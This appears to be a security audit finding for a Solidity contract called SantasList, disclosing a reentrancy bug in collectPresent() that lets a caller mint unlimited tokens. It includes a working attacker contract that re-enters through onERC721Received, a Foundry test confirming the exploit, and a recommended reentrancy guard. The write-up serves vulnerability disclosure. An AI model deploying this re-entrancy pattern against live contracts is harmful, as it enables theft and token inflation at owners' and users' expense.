Summary
In collectPresent()
it is possible to generate a huge number of tokens bypassing the rules.
Vulnerability Details
The user of the SantasList
can be either an EOA or another contract. If the caller of SantasList
is a contract then it is necessary to pay attention to _safeMint()
function in _mintAndIncrement()
: _safeMint()
calls _checkOnERC721Received()
which allows to verify that a contract can receive ERC721 tokens. This can have security implications.
Consider the following contract:
pragma solidity 0.8.22;
import "@openzeppelin/contracts/access/Ownable.sol";
import "forge-std/console.sol";
interface ISantasList {
function collectPresent() external;
function balanceOf(address owner) external returns (uint256);
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract AttackerContract is Ownable {
ISantasList santasList;
uint256 counter = 0;
uint256 public constant WISHED_AMOUNT_OF_TOKENS = 500;
constructor(address _santasListAddress) Ownable(msg.sender) {
santasList = ISantasList(_santasListAddress);
}
function attack() public onlyOwner {
santasList.collectPresent();
}
function onERC721Received(address from, address, uint256 tokenId, bytes memory )
public
returns (bytes4)
{
if (counter < WISHED_AMOUNT_OF_TOKENS) {
santasList.transferFrom(from, owner(), tokenId);
counter++;
santasList.collectPresent();
}
counter = 0;
return 0x150b7a02;
}
}
A test below confirms that the attack succeeds:
function testCollectPresentAttack() public {
vm.startPrank(santa);
santasList.checkList(attacker, SantasList.Status.NICE);
santasList.checkTwice(attacker, SantasList.Status.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
assertEq(santasList.balanceOf(attacker), 0);
vm.prank(attacker);
attackerContract.attack();
assertEq(santasList.balanceOf(attacker), attackerContract.WISHED_AMOUNT_OF_TOKENS());
}
Impact
High. collectPresent()
allows attackers to generate as many tokens as they want.
Tools Used
Manual check.
Recommendations
Consider adding reentrancy guard to collectPresent()
.